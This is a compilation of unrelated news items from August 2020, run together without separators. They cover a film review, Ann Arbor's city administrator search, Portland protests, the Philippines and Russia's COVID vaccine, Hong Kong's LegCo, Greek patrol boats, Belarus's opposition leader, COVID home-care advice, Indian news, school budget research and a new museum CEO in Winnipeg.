(Jurassic Park, Jaws, The Exorcist) or recent releases that have also played on video-on-demand. So far, there is no Tenet or Mulan or Bond film no major big-screen, big-event movie made to draw fanboys and fangirls into the multiplex. This minor work offers a gradual return to the movie-going experience, with some intriguing pleasures that ultimately dwindle into drawn-out disappointment. Movie review Click to Expand The Burnt Orange Heresy Starring Claes Bang and Elizabeth Debicki Grant Park Based on a nihilistic 1971 crime novel by Miami writer Charles Willeford, this story of deception, fraud and murder has been moved from Florida to a villa on Italys Lake Como. Danish actor Claes Bang who has starred in another (and better) art satire, The Square is James Figueros, an art critic who likes to expound on the power of the art critic. Living far beyond his means, James jumps at the chance to visit the lakeside estate of eccentric art collector Joseph Cassidy, played with louche magnificence by Mick Jagger, whos made only rare movie appearances since his work in 1970s Performance. (Hes also in a band, apparently.) Cassidy wants James to acquire a painting by elusive genius Jerome Debney (Donald Sutherland), whose entire oeuvre was destroyed in two mysterious fires and whose reputation rests on his prickly, reclusive persona and a big conceptual statement an empty frame with an enigmatic title exhibited in 1968. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. James, along with recent hook-up Berenice Hollis (Elizabeth Debicki of Widows and The Night Manager), a young American woman with a hazy background, ends up falling into a situation that starts off as dodgy and then becomes much, much worse. JOSE HARO / SONY PICTURES CLASSICS Mick Jagger, left, and Claes Bang in The Burnt Orange Heresy. Jagger provides a deliciously fascinating presence in the film. Director Guiseppe Capotondi (Suburra: Blood on Rome) provides a visual sumptuousness thats nice to see on the big screen, from glamorous night shots of Milan to the sun-soaked beauty of the 16th-century villa Cassidy archly calls his "summer cottage." But Scott B. Smiths script is never as smart as it thinks it is, aspiring to edgy relevance but falling back on hoary old cliches about the art world. The performances are not the problem. Sutherland is sly, a little weary. Bang excels at playing men who are both arrogant and weak. The character of Berenice doesnt really work she has a Fallen Woman backstory that wouldnt have made much sense in 1971 and just seems silly now but thats not Debickis fault. With her watchful self-containment, she does what she can. And Jagger is such a deliciously fascinating presence one wishes he were in every scene. Elegantly haggard, delighting in his own wickedness, he manages to convey some of the dark, nasty humour of the novel, offering a glint of what might have been. alison.gillmor@freepress.mb.ca If you value coverage of Manitobas arts scene, help us do more. Your contribution of $10, $25 or more will allow the Free Press to deepen our reporting on theatre, dance, music and galleries while also ensuring the broadest possible audience can access our arts journalism. BECOME AN ARTS JOURNALISM SUPPORTER Click here to learn more about the project. ANN ARBOR, MI -- Ann Arbor City Council has selected four finalists for city administrator -- Tom Crawford, Joyce Parker, Cara Pavlicek and Eric Wobser. Finalists will undergo interviews by city council, city staff and community members on Thursday, Aug. 20. The schedule is Crawford at 5 p.m., Parker at 5:55 p.m., Pavlicek at 6:50 p.m. and Wobser at 7:45 p.m. A community survey will be released that day for the public to provide input. Based on that feedback, city council on Aug. 24 will determine the next steps, which could be negotiating with a finalist, inviting multiple finalists for additional interviews in September or relaunching the search. Ann Arbor narrows down city administrator finalists to four Council in June voted to launch a search to replace former City Administrator Howard Lazarus, who was fired by council in a 7-4 vote in February. Lazarus started a new job in July as executive director of Delaware County, Pennsylvania. Meet the finalists: Tom Crawford, the city's chief financial officer, gives a presentation during the Ann Arbor City Council's budget retreat at the downtown library on Dec. 10, 2018. Tom Crawford Tom Crawford has been Ann Arbors chief financial officer since 2004. He previously worked for Ford Motor Companys lending, product planning and product development units. Crawford earned a master of business administration degree from the Wharton School at the University of Pennsylvania and a bachelor of arts degree in business administration from the University of North Carolina at Chapel Hill. Crawford has been interim city administrator since March. Joyce Parker is a finalist for the Ann Arbor city administrator role.City of Ann Arbor Joyce Parker Joyce Parker has been the deputy state treasurer for the State of Michigan since 2019. She also served as the president and chief executive officer of The Municipal Group, an assistant city manager for the city of Jackson, township manager for Buena Vista Charter Township, city manager for the cities of Inkster and Saginaw and community development director for Flint. Parker earned a masters degree in public administration from the University of Michigan-Flint and an undergraduate degree in marketing from Kent State University. Cara Pavlicek is a finalist for the Ann Arbor city administrator role.City of Ann Arbor Cara Pavlicek Cara Pavlicek is the village manager of Oak Park, Illinois, a position she held since 2012 when she was named the interim manager while working in the organization as a department director. She worked in Downers Grove, Illinois as village manager and as a city administrator La Vista, Nebraska. She earned a masters degree from the University of Iowa in public affairs and an undergraduate degree from the University of Washington in economics. Eric Wobser is a finalist for the Ann Arbor city administrator role.City of Ann Arbor Eric Wobser Eric Wobser has been the city manager of Sandusky, Ohio since 2014. He also served as the executive director of Ohio City Incorporated and special projects manager to the mayor of Cleveland. He earned a juris degree from the University of Michigan Law School and an undergraduate degree in political science from Ohio University. Ann Arbor mayor vetoes nonpartisan elections proposal Protesters in Portland, Oregon have taken to the streets for the 75th consecutive night to demand an end to police brutality, as Donald Trump declared that the city is 'out of control' and said the National Guard should be deployed. About 150 people had gathered at Alberta Park shortly before the scheduled 9pm march. Some people were handing out pizza, water and snacks. Others offered homemade shields. As night fell chants of 'Black Lives Matter' rose in the air. 'If you're not here for Black Lives Matter, you're in the wrong place,' one speaker told the gathering. Protesters then set off to march towards the Portland Police Bureaus North Precinct, where previous protests have turned destructive. Demonstrators gathered in Northeast Portland for a 'Direct Action March' on Monday evening Crowds squared off with riot police, standing to protect the city's North Precinct Protesters were kept back from the precinct by crime scene tape, and a row of riot police Activists have been calling for an end to police brutality since George Floyd was killed The group, many dressed all in black, chanted: 'No good cops in a racist system.' When they arrived at North Precinct, shortly after 9pm, Oregon Live reported that they were met with about a dozen armored officers. Some held batons, while others carried crowd-control weapons, the site said. At 10:23pm, police warned protesters that acts of vandalism, lighting fires or throwing objects could be met with arrest or use of force, including tear gas. At one point, police ordered an individual in the crowd to stop shining a strobe light at officers. Monday's planned demonstrations came after Trump once again aired his distaste for Portland's protests. Donald Trump on Monday morning tweeted once again that Portland was 'out of control' Officials in the city of 650,000 have rejected his offer of National Guard troops, and said that federal forces sent in earlier this year to protect federal buildings overstepped the mark, and worsened tensions. Protests on Friday, Saturday and Sunday night descended into violence, with a small crowd squaring off with riot police. Twenty five people were arrested during Saturday and Sunday nights - among them Demetria Hester, a prominent activist who leads Mothers United for Black Lives Matter. She is also a survivor of the May 2017 Portland train attack, when white supremacist Jeremy Christian murdered two people. She testified against him in his trial. Demetria Hester, a prominent activist (second from left), was released from jail Monday afternoon Hester was accused of disorderly conduct and interfering with a peace officer, both misdemeanors. She was released from custody Monday afternoon, and Brent Weisberg, spokesman for the Multnomah County District Attorney's Office, said the DA had declined prosecution and that the court will dismiss the charges. 'The prosecution decline decision was in the interest of justice upon reviewing the police reports in this matter,' Weisberg said. Portland police said on Friday night that they were pelted with rocks and chunks of cement, and their car tires were vandalized by pool noodles filled with nails. Metro Manila (CNN Philippines, August 11) Malacanang said President Rodrigo Duterte is indebted to Russia for offering COVID-19 vaccines developed by their scientists, but added these will still need local approvals before distribution. "Ang sabi ni Presidente, nagpapasalamat siya, he is grateful for the offer of Russia pero sinabi rin niya na kinakailangan din nating sundin ang batas na umiiral sa Pilipinas. Walang gamot na pupwedeng ibigay sa publiko na hindi dumaan sa FDA (Food and Drug Administration)," Presidential Spokesperson Harry Roque said during his Tuesday media briefing. "Dadaan po 'yan sa proseso at naiintindihan ng Russians 'yan." [Translation: The President is grateful for the offer of Russia but he also said that we need to comply with Philippine laws. No medicine can be administered to the public without FDA approval. It will undergo the process and the Russians understand it.] READ: Russia claims it will soon approve the world's first COVID-19 vaccine, but major questions remain For now, Duterte passed on a message of thanks. "Tingin ko naman inarticulate ni Presidente 'yung gratefulness at utang na loob natin dahil sila ang pinakaunang nag-offer ng vaccine sa atin. Hinding-hindi makakalimutan ito ng sambayanang Pilipino 'yang kabutihang-loob na 'yan," Roque said. [Translation: I think the President articulated the debt of gratitude to Russia since they were the first to offer a vaccine to us. The Filipino people will never forget that kind gesture.] Duterte announced Monday night that authorities from Moscow have reached out with an offer of Russian-developed vaccines, even saying that he will be the first to receive the dose to test if it is effective. On Tuesday, Russian President Vladimir Putin said Gamaleya Institute has registered the world's first vaccine and subjected his daughter to a dose, CNN International reported. This comes amid concerns about supposedly incomplete clinical trials meant to confirm the vaccine's potency and possible side effects. However, Russian Ambassador to the Philippines Igor Khovaev said last week that the doses made by Gamaleya Institute are "safe and effective," adding the vaccines can even be produced locally. The Department of Health said Philippine officials are in talks with the Russian Direct Investment Fund for the provision of doses and setting up of manufacturing laboratories in the Philippines. "The DOST (Department of Science and Technology) as the lead in the vaccine development portfolio will handle the conduct of clinical trials in accordance with the requirements of the FDA," the DOH said, adding it does not have the number of volunteers for clinical trials yet. Russia offered to supply the Philippines with the vaccine, the first country to do so. Duterte had to request Chinese President Xi Jinping to prioritize the country for supplies once drug makers from the mainland complete clinical trials. "Nagagalak siya (Duterte) dahil parang nagbunga na nga ang kanyang independent foreign policy na tayo'y kaibigan ng lahat at wala tayong kalaban [Duterte is glad to see that his independent foreign policy is bearing fruit, where we are friends to all states and enemies to none]," Roque added. Moscow claims the move is a Sputnik moment referring to how Russia, then part of the Soviet Union, launched the worlds first satellite. Roque said the Russian vaccines will need to be validated locally, and the FDA may run its own clinical trials before doing a nationwide rollout. This requirement may be waived if the FDA declares an emergency and releases the vaccines for "compassionate use." The official said Duterte is now wondering if there will be health implications if a person receives various vaccines developed by different pharmaceutical groups. There are six potential vaccines under the third phase of clinical trials, with four of them coming from China. RELATED: Health advocate optimistic COVID-19 vaccine will be available by end-2020, but thorough review needed Just months in office in 2016, Duterte announced a "pivot" towards China and other states to reverse the Aquino administration's foreign policy stance said to be centered on the United States. Treating all countries as allies was convenient amid the COVID-19 pandemic as it allows for greater collaboration, the Malacanang official said. The same tone governs the state's approach to territorial disputes with Beijing over features in the South China Sea and with Malaysia over Sabah. Roque said Duterte will not let go of the Philippines' claim to Sabah but will not let it tarnish diplomatic ties. Meanwhile, Roque shrugged off the recent issue involving newspaper Thai Rath, which branded the Philippines as the "land of COVID" in its banner headline. He asked Filipinos to be understanding of Thai journalists, saying it was their way to work around restrictive media policies there. Source: Xinhua| 2020-08-11 23:31:45|Editor: huaxia Video Player Close BEIJING, Aug. 11 (Xinhua) -- The Hong Kong and Macao Affairs Office of China's State Council on Tuesday said it resolutely supports the decision of the Standing Committee of the National People's Congress (NPC) for the sixth Legislative Council (LegCo) of the Hong Kong Special Administrative Region (HKSAR) to continue performing duties. The decision provides solid legal basis for the sixth LegCo to continue performing duties, said the office in a statement, adding that it will cooperate with relevant authorities in implementing the decision. The NPC Standing Committee's decision, which came to address the LegCo vacancy following the postponement of the LegCo election due to the COVID-19 outbreak, is very important and timely, said the statement. According to the decision, after Sept. 30, 2020, the sixth LegCo will continue performing duties for no less than a year until the seventh LegCo starts its four-year term. The decision is conducive to upholding the constitutional order and rule of law in the HKSAR, and to ensuring the governance of the HKSAR government and the normal functioning of the society, said the statement. The office in the statement expressed confidence that the HKSAR government and all sectors of society will work jointly to support the sixth LegCo in continuing performing its duties in accordance with the NPC Standing Committee decision. What happened since the return of Hong Kong has made it increasingly clear who is truly concerned about the HKSAR, and it cannot be U.S. politicians or those disrupting Hong Kong and antagonizing China, the statement said. It is the central government and the 1.4 billion people of the motherland who are most concerned about Hong Kong, the statement said, adding that the Chinese mainland has always been the strongest backer of Hong Kong in overcoming challenges and difficulties. Hong Kong's bright future lies in the comprehensive and faithful implementation of the "one country, two systems" principle and in aligning its development with the motherland, the statement added. Enditem The Greek (Hellenic) Navy has put into service the last of seven 660-ton Fast Patrol Boats armed with missiles. Each of these ships cost about $160 million. Roussen class ships are heavily armed for a 62-meter (198 foot) ship with a crew of 45. Top speed is 65 kilometers an hour and armament consist of a 76mm cannon, eight MM40 anti-ship missiles (range 72 kilometers), a 21 cell RAM anti-aircraft/missile launcher and two 30mm autocannon. There is an extensive number of radars and fire-control systems to operate all these weapons as well as navigation along with an electro-optical sensor for closer targets. The Roussens are a British design based on the smaller Vita-class 52-meter patrol boats designed by BAE Systems for Qatar, Oman and other customers. The Vitas were built in the 1990s with similar armament. The first Roussen entered service in 2005 and all were built in Greece with technical assistance from BAE. The Greek Navy began a modernization of its navy in the 1990s which turned out to be prescient because by 2020 the century old tensions with neighbor Turkey are headed towards open warfare over maritime disputes. Both nations are NATO members but many NATO members and several major non-NATO Mediterranean nations (Egypt and Israel) side with Greece. While Turkey has larger armed forces than Greece, the Greeks have powerful allies and the Greek navy has recently acquired submarines and surface warships like the Roussen. Fast Patrol Boats, with or without missiles, have been around for decades but lighter, more capable missiles and more compact and capable electronics have made these ships more powerful and popular. Although the United States does not use them, American builders, like Swiftship, design and manufacture Fast Patrol Boats For example, in 2009 2009 Iraq ordered nine 35-meter (115 foot) patrol boats from Swiftship. Each of these ships cost about $20 million. They are armed with a 30mm autocannon forward and a 12.7mm machine-gun aft (in the rear) and two 7.62mm machine-guns, one on each side of the bridge. The Iraqis had most of the superstructure made bulletproof. These ships have a crew of 25 (including four officers) and endurance of about six days. Top speed is about 55 kilometers an hour. Egypt already operates smaller (25 meter) versions of this design, and is pleased with the performance of these ships. Italy, along with Britain, Sweden and France design and build a lot of these Fast Patrol Boats. For example, the Italian built Saettia Mk. 4 missile patrol boats carry a crew of 38 (including a dozen marines for boarding ships). Top speed is about 70 kilometers an hour, and they can stay at sea for about a week. Armament varies but usually consists of a 30mm automatic cannon and two machine-guns. Swedish builders adapted their CB90 fast patrol boat to a design better adapted for use in tropical waters. The first design was the X15 which was very similar to the 20-ton CB90. A smaller version of the X15, the 10-ton X12 has proved very popular in Indonesia and now Bangladesh, where a local firm is building 18 under license from PT Ludin. The X12 has a top speed of 63 kilometers an hour and is 11.7 meters (38 feet) long and 11.4 feet wide. They can operate in shallow (one meter/three feet deep) water and are usually armed with two machine-guns and small arms. The coast guard versions have a radar and a crew of six or more sailors. These boats cost less than $100,000 each. She is the Belarusian opposition leader who was forced into hiding before a presidential election that has rocked her country. Charismatic former English teacher Svetlana Tikhanouskaya has rejected the results of the poll, which were marred by accusations of vote rigging in favour of President Alexander Lukashenko. The Irish Independent can reveal Ms Tikhanouskaya has deep links to Ireland and spent much of her teenage years in Roscrea, as part of a Chernobyl charity respite programme. Tipperary man Harry Deane, whose family hosted Ms Tikhanouskaya as a child, has spoken of his fears for her safety following the controversial re-election of Mr Lukashenko and crackdown on protests to the election results. Mr Deane, a co-founder of the Chernobyl Lifeline Project, fears the mother of two is in danger amid the worsening political crisis. "We are very worried about her now. I fear she is in danger and the days ahead are most uncertain." Yesterday, Ms Tikhanouskaya (37) refused to recognise official results which awarded Mr Lukashenko a landslide victory. The brutal police crackdown drew harsh criticism from European capitals. Telling reporters she believed the election was rigged, she said she considered herself the winner and demanded authorities transfer power to the opposition. "Yesterday the voters made their choice, but the authorities did not hear us, they have broken with the people," she said. It was confirmed this morning that Svetlana Tikhanouskaya has joined her children in neighbouring Lithuania, its foreign minister said. "She arrived in Lithuania and is safe," Lithuanian Foreign Minister Linas Linkevicius told AFP. EU and NATO member Lithuania, which was also once part of the Soviet Union, has a history of granting refuge to Belarusian and Russian opposition figures. Irish connection Ms Tikhanouskaya rose from obscurity in recent months to become the main challenger to Mr Lukashenko, who has been in power since 1996. She decided to stand for election following the jailing of her husband, a political blogger, who spoke out against the regime. Mr Deane, who remains in close contact with Ms Tikhanouskaya, remembers her as "a lovely kid" who was "full of joy". The Deanes were approached by Ms Tikhanouskaya's teacher in Belarus who felt she needed respite as her family lived in impoverished circumstances. "She first came at age 12 and then came seven or eight times after that," Mr Deane said. "She would stay maybe three months during the summer and a month during the winter. "Her English was so good we kept her on as an interpreter and later we got her some work locally in a factory. "She was very happy as it enabled her to pay for her education and clothing. She became well educated. She was so intelligent and picked up the language so fast." Together with a friend, Mr Deane set up the charity Chernobyl Lifeline Ireland. "We had families all over Ireland including the family of our ex-Taoiseach Brian Cowen, who would host children every year," Mr Deane said. "It was a good charity. We operated differently from others in that we brought in groups of children in the months of June, July and August, and we brought them back. Svetlana was one of the children that came back. "My daughter Mary and son David and my wife were very close to her. When she got married her first child, a little boy, was born profoundly deaf. And we were able to help, and the little boy got a cochlear implant to help him hear." Even at a young age, Mr Deane remembers Ms Tikhanouskaya had a "love of freedom and fair play". "Most of the children that did come, they wouldn't speak about the political situation in Belarus," Mr Deane said. "They were afraid. She wasn't, though. She would give out about it. After the vote was counted, the people knew what the result would be and came out on the street. "This is going to continue. Svetlana freely admits she is not interested in being president of the country. "All she wants is to release the political prisoners and to get a fair and honest general election." From VOA Learning English, this is the Health & Lifestyle report. Even though COVID-19 has been around for months, there are still many unknowns. Researchers do not yet have answers to many of our questions. However, it is important to keep asking. And that is what people around the world are doing. Google has listed some of its most-searched questions about COVID-19. Dr. Leana Wen is a professor of public health at George Washington University. Back in March she answered some of the most-Googled questions about COVID-19 in a YouTube video. One of those questions was Can COVID-19 be cured? Dr. Wen explains that there is no cure or treatment for the virus. But, she adds, 80 percent of people who get COVID-19 do not need hospitalization. They can stay at home to recover. When to seek emergency medical attention However, the Centers for Disease Control and Prevention in the United States warns to get emergency help immediately if the person shows any of these signs: Trouble breathing Ongoing pain or pressure in the chest New confusion Inability to wake or stay awake A blue color to the lips or face The CDC notes that this list does not include all possible symptoms. Experts advise calling a medical professional if the person experiences other symptoms that are severe or concerning. How to safely care for someone with Covid-19 If someone in your household gets infected with the virus, how can you stay safe? The following tips come from the CDC and the Mayo Clinic a non-profit hospital and research center in the state of Minnesota. Clean your hands often Keep your hands clean and away from your face. Avoid touching your eyes, nose, and mouth with unwashed hands. Wash your hands with soap and water for at least 20 seconds. This is especially important after being in close contact with or in the same room as the sick person. If soap and water are not available, use a hand sanitizer that contains at least 60 percent alcohol. Cover the whole surface of your hands and rub them together until they feel dry. Keep apart and separate. Stay at least 2 meters away from the infected person. If possible, have the sick person eat and sleep in a separate room and use a separate bathroom. Do not share items such as sheets, towels, electronics, and eating utensils - knives, forks and spoons. If you need to be in the same room with the person who is sick and he or she is not able to wear a face covering or mask, wear one yourself. Do not touch your mask while you are using it. If it gets wet or dirty, replace it with a clean, dry mask. Throw away the used covering and wash your hands. Make sure any shared areas have good air flow. Open a window to get air moving. Do not accept visitors in your home. Only permit visitors when the sick person has completely recovered and has no signs or symptoms of COVID-19. Be careful when washing clothes. Do not shake dirty clothes. When washing items touched by an infected person, use regular cleansers and set the washing machine to the warmest setting. Wash your hands after putting clothes in the dryer. Dry clothes completely on the hot setting. When touching clothing worn by a sick person, wear disposable gloves and keep the items away from your body. Wash your hands after removing the gloves and throw them away. Clean your home often. Every day, clean surfaces that are often touched, including counters, tabletops and doorknobs. Avoid cleaning the sick person's separate room and bathroom. Be careful with dishes Wear disposable gloves when handling dishes, cups or other items used by the sick person. Wash dishes with soap and hot water or in the dishwasher. Clean your hands after taking off the gloves or handling used items. Caregiver burnout Experts at the Mayo Clinic remind all caregivers to take care of themselves, too. They warn that caregivers might feel stressed. They might worry about their health in addition to the health of the sick person. This stress and worry can affect a persons ability to eat, sleep and work. It can also worsen any existing health problems. It may also increase the use of alcohol, tobacco or other drugs. The experts give these suggestions to caregivers. Keep a daily routine . Get showered and dressed every day. . Get showered and dressed every day. Eat healthy meals and drink a lot of water. Exercise. Get plenty of sleep. Avoid drugs and alcohol. Do stretching, deep breathing, or meditation . . Do fun activities, such as reading or watching a movie. Connect with others and share your feelings. Monitor your own health and look for symptoms. And thats the Health & Lifestyle report. Im Anna Matteo And Im Bryan Lynn. Anna Matteo wrote this story for VOA Learning English. Bryan Lynn was the editor. Quiz - Safely Care for COVID-19 Patient at Home Start the Quiz to find out Start Quiz ________________________________________________________________ Words in This Story confusion n. a situation in which people are uncertain about what to do or are unable to understand something clearly hand sanitizer n. substance applied to the hands for the purpose of removing common disease-causing organisms mask n. a covering used to protect your face or cover your mouth disposable adj. designed to be used once or only a limited number of times and then thrown away stressed adj. feeling very worried or anxious routine n. a regular way of doing things in a particular order meditation n. the act or process of spending time in quiet thought : the act or process of meditating monitor v. to watch, observe, listen to, or check (something) for a special purpose over a period of time New Delhi, Aug 11 : The Delhi police has registered an FIR against ASHA workers and Central trade unions protesting at Jantar Mantar in New Delhi area for violating unlock guidelines. "An FIR is registered against unauthorised protesters of ASHA Workers and Central Trade Unions who gathered at Jantar Mantar in violation of unlock guidelines. Protests are strictly banned at Jantar Mantar. Such gatherings can worsen the COVID-19 situation," New Delhi DCP Eish Singhal said. Hundreds of ASHA (Accredited Social Health Activist) workers staged a protest at Jantar Mantar on Sunday demanding that the government accept their longstanding demands. Shouting slogans, these workers demanded that ASHA workers be paid a fixed monthly remuneration equivalent to the statutory minimum wage for skilled workers in the respective states. Several states saw groups of workers and farmers take to the streets on Sunday to protest against government policies which they claim benefits the corporate sector and is detrimental to workers and farmers. The protests included cycle and bike rallies, processions and tractor mobilisations in different parts of the country. While they form the first-response team in India's fight against COVID-19 in rural and urban slum areas, ASHA workers allege that they have not been given any PPE kits, despite regular demands since March, and both the Central and state governments are washing their hands off their responsibilities. NEW DELHI/BENGALURU/TOKYO Indias B9 Beverages, maker of popular craft beer Bira, is in talks with international brewers and investors to sell a stake of up to 20% in the company, its chief executive told Reuters on Tuesday. Weve been looking for a combination: (an) international beer company as a strategic investor and a separate financial partner," CEO Ankur Jain said in a phone interview, adding that the company was in the intermediate stage" of raising funds. Weve been talking to beer companies that are not competitive in India or have minimal operations in India." Data provider PitchBook estimates New Delhi-based Bira was valued at $210 million in 2018. U.S.-based Sequoia Capital holds a roughly 45% stake in the company, while CEO Jain and his family own around 30%. Jain declined to name the companies with which it is in talks, but four industry sources said Bira had been in talks with Kirin Holdings, one of Japans biggest beer makers which has limited sales in India. A Kirin spokesman said there was absolutely no discussion at the moment" on taking a stake in Bira. Last week Kirin cut its full-year profit outlook due to the COVID-19 impact and said it would avoid non-essential" investments. A Kirin source said the company sees India as a growth market and that it has looked at Bira, but that it was part of a broader study into global markets. One of the Indian industry sources said that Bira and Kirin had discussed a deal which would also allow the Japanese brewer to offer its brands directly - which include Kirin Lager and Ichiban Shibori - in Indias estimated $7 billion beer market. Kirin has in the past shown interest in independent breweries and owns a minority stake in New Yorks Brooklyn Brewery. Bira, launched in 2015, is one of the smallest players in India, but its craft beer offerings have become increasingly popular. Jain said Bira had a 5-10% share of the beer market in New Delhi, Mumbai and Bengaluru. Indias beer market is dominated by companies like United Breweries, Anheuser-Busch InBev and Carlsberg, according to IWSR Drinks Market Analysis. FINANCIAL LOSSES, IPO An investment from Kirin or other investors would help Bira which has made losses in recent years and been hit by the coronavirus pandemic, just like the rest of the beer industry. It has said it aims eventually to list on the stock market. Bira is really struggling financially at the moment and they badly need a lifeline. A deal with Kirin or any of the other global strategic companies would give them that," said one of the Indian industry sources. Bira clocked $24.5 million in sales in the fiscal year ending March 2019, 15% higher than the previous year, but its net loss for the period doubled to $27 million. Results for the year through March 2020 have not yet been released but CEO Jain said sales grew by 40% in that fiscal year and that the companys results in recent years were in line with its growth plans. In 2018 the CEO said the company would target a stock market listing in 3-5 years, but the timelines have stretched since then. Our intended plan is to do an IPO, the timelines have been stretched due to realigned corporate plans as we want larger scale before we go to market," Jain said. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor The government of India has rejected reports that the Indian Army had conducted a formal inquiry into the June 15 clashes with Chinese soldiers at Galwan Valley and a report following the probe had been submitted. A denial issued by the governments press information bureau on Tuesday afternoon categorically stated that no no such inquiry has been conducted or ordered by the Indian Army. 20 Indian soldiers had died along with an unknown number of casualties in the Peoples Liberation of Army (PLA) when Indian soldiers objections to Chinese attempts to erect a structure on the Indian side of the disputed Line of Actual Control resulted in an attack by their Chinese counterparts in the eastern Ladakh sector. Earlier today, there were reports that a formal Court of Inquiry (CoI) had been conducted by senior officers headed by 15 Corp Commander, Lt. Gen BS Raju, into the standoff at Galwan, orders that preceded the incident and as well as actions taken by troops after they came under attack by the PLA while verifying the disengagement process. Claim: Economic Times says the #Army has conducted a formal inquiry into the Galwan valley clash on June 15 and a report has been submitted#PIBFactCheck: no such inquiry has been conducted or ordered by #IndianArmy@adgpi pic.twitter.com/9cpUGVNOZ8 PIB Fact Check (@PIBFactCheck) August 11, 2020 The report further claimed that further action is now awaited after the submission of the report. It also quoted sources to say that the inquiry was necessary to evaluate if standing operating orders need to be modified to prevent a repeat of the incident. Also Read: Maintaining peace with India a diplomatic priority, says China amid Ladakh border tension Following the clash, which involved use of rudimentary weapons such as wired clubs and stones due to an existing agreement between the two countries banning the use of firearms by patrolling troops, it was reported that the government had given the armed forces complete operational freedom to defend the countrys territorial integrity. Since the bloody conflict on June 15, India and China have engaged in several rounds of diplomatic and military talks for disengagement and de-escalation of troops from the confrontation areas, however, China continues to drag its feet in vacating some strategic areas India considers part of its own territory. Considering Chinas reluctance, top Indian military brass has told a Parliamentary panel that the forces were ready for a long haul with deployment in forward areas of the LAC during harsh winter months to not counter Chinese aggression. Also Read: Ban on China imports: Possible spike in dumping a concern Chief of Defence Staff (CDS) General Bipin Rawat led armed forces leadership has said that the de-escalation between the two sides may take a longer time but the Indian side was ready for any eventuality and have made arrangements for it in the Ladakh sector, officials have said. The Chinese have brought in more than 40,000 troops and have been maintaining that strength since April-May timeframe. India is also well-prepared and has asked China to disengage from friction points and Depsang Plains and has built up heavily to counter any further Chinese misadventure there. The officials said that the Indian Army has moved in around two additional divisions in the Ladakh sector where already two formations are deployed for guarding against both Pakistan and China. BINGHAMTON, NY -- With schools around the world looking into various cost-cutting measures in the midst of the COVID-10 pandemic, new research from Binghamton University, State University of New York reveals that citizens prefer teachers and administrative staff to be at the frontline of school spending cuts during times of economic crisis. Komla Dzigbede, assistant professor of public administration at Binghamton University, examined public attitudes toward school budget cuts during the Great Recession (2008-2009), a time when many state governments cut back on public education spending and school districts responded with different cost-cutting strategies to ease budget stress while maintaining educational goals. "During times of major economic crises, school districts must make critical cost-cutting decisions, even as they face constraints on raising additional revenues," said Dzigbede. "As school districts weigh alternate cost-cutting strategies in times of crises -- whether to cut spending on salaries, instruction or support services -- citizens, in turn, worry about the impacts school budget cuts would have on educational quality in the local community. How does the public perceive the impact of different forms of school spending cuts on educational quality during times of major economic crises? What factors influence those perceptions? And what insights can school district managers and education policymakers gain from citizens' perceptions to inform critical decision-making in times of major crises?" Dzigbede's findings indicate that during times of serious crises, citizens tend to view canceling after-school activities and reducing funds for instructional materials as having more harmful impacts on educational quality than cutting teachers' pay, cutting teachers' training or cutting administrative staff positions. Additionally, Dzigbede found that gender, age, income, party identification and political ideology are significant determinants of public attitudes toward different forms of school spending cuts. Women, younger people, lower-income earners and less-conservative people differ from other demographics in their attitudes toward different cost-cutting strategies. These research findings offer practical insights for school district administration, management, and policy, said Dzigbede. "When making critical decisions about cost-cutting strategies in times of major crises, school district managers and education policymakers need to know the socio-demographic, economic and ideological preferences of citizens and take these into account in managerial decision making to promote responsive, participatory and accountable governance," said Dzigbede. ### The paper, "Determinants of public attitudes towards school budget cuts during the Great Recession," was published in Educational Studies. When Isha Khan applied to become the new president and CEO of the Canadian Museum for Human Rights, it was still wintertime, COVID-19 had yet to arrive in Manitoba, and the museum had not undergone a public reckoning over its own institutional failures. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. When Isha Khan applied to become the new president and CEO of the Canadian Museum for Human Rights, it was still wintertime, COVID-19 had yet to arrive in Manitoba, and the museum had not undergone a public reckoning over its own institutional failures. "I applied for this position when there was still snow on the ground," said Khan, a human rights lawyer and former executive director of the Manitoba Human Rights Commission. At the time, then-CEO John Youngs term was set to expire in August, and Khan submitted her cover letter and CV, with her fingers crossed. Isha Khan has been named the new CEO of the Canadian Museum for Human Right. (Mikaela MacKenzie / Winnipeg Free Press) After she applied, the museum's management was hit with allegations of discrimination and racism. Khan is well aware many people will be watching closely as she occupies the hot seat. "Its daunting that people will be looking with greater scrutiny, but I feel pretty comfortable I understand the issues," she added. "I understand human rights, but I also understand how to work with teams of people and how to bring them together around a mandate." "Do I think Im the only person who can do this job? Absolutely not," she said. "But do I think Im equipped to do it well? I think so." "Id be lying if I said I didnt have some nerves, but Im excited, and have been just wanting to get to work," she said. On Monday, federal Canadian Heritage Minister Steven Guilbeault announced Khans application was successful, making her the first person of colour on the job and the first woman to hold the job on a non-interim basis. She begins her five-year term on Aug. 17. Khan is optimistic she can put her experience in the field of human rights including a current stint as chair of United Way Winnipegs board, her membership of the Law Society of Manitobas Equity Committee, and her role as a founder of the local chapter of the Canadian Council of Muslim Women to good use in her new role. But aside from the usual responsibilities associated with taking leadership of a national museum, Khan will be front and centre as the museum attempts to move past a troubling chapter in its own history. In June, the museum came under public scrutiny as allegations of discriminatory attitudes began emerging from current and former staff. Some museum guides said they had been instructed between 2015 and 2017 to exclude LGBTTQ+ content from certain school tours, while other allegations included sexual harassment and racist hiring and payment practices. Amid the fire, Young agreed to leave his post June 25, and Pauline Rafferty, the chair of the museums board of trustees, was installed in his place on an interim basis. Meanwhile, a third-party review by local litigator Laurelle Harris began, with the 72-page report published in early August. The report concluded the federal institution suffers from a culture burdened by "pervasive and systemic" racism, along with discriminatory attitudes. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Included in the report were 44 recommendations, including an expansion of mandatory staff training in areas such as anti-racism, unconscious bias, and countering homophobia and transphobia in the workplace for all employees, including the CEO. A number of recommendations are also aimed at renewed hiring policies, as well as enhanced diversity at the board level. Harris also recommended the federal government ensure Youngs replacement was from the BIPOC community. "I know I can count on (Khan) to uphold the highest standards of inclusiveness, social awareness and respect at the Museum," Guilbeault said in a release Monday. "Im confident Ms. Khan will support the museum in its mandate to enhance public understanding of human rights, promote respect for others, and encourage reflection and dialogue." Marianne Hladun, the regional executive vice-president of the Public Service 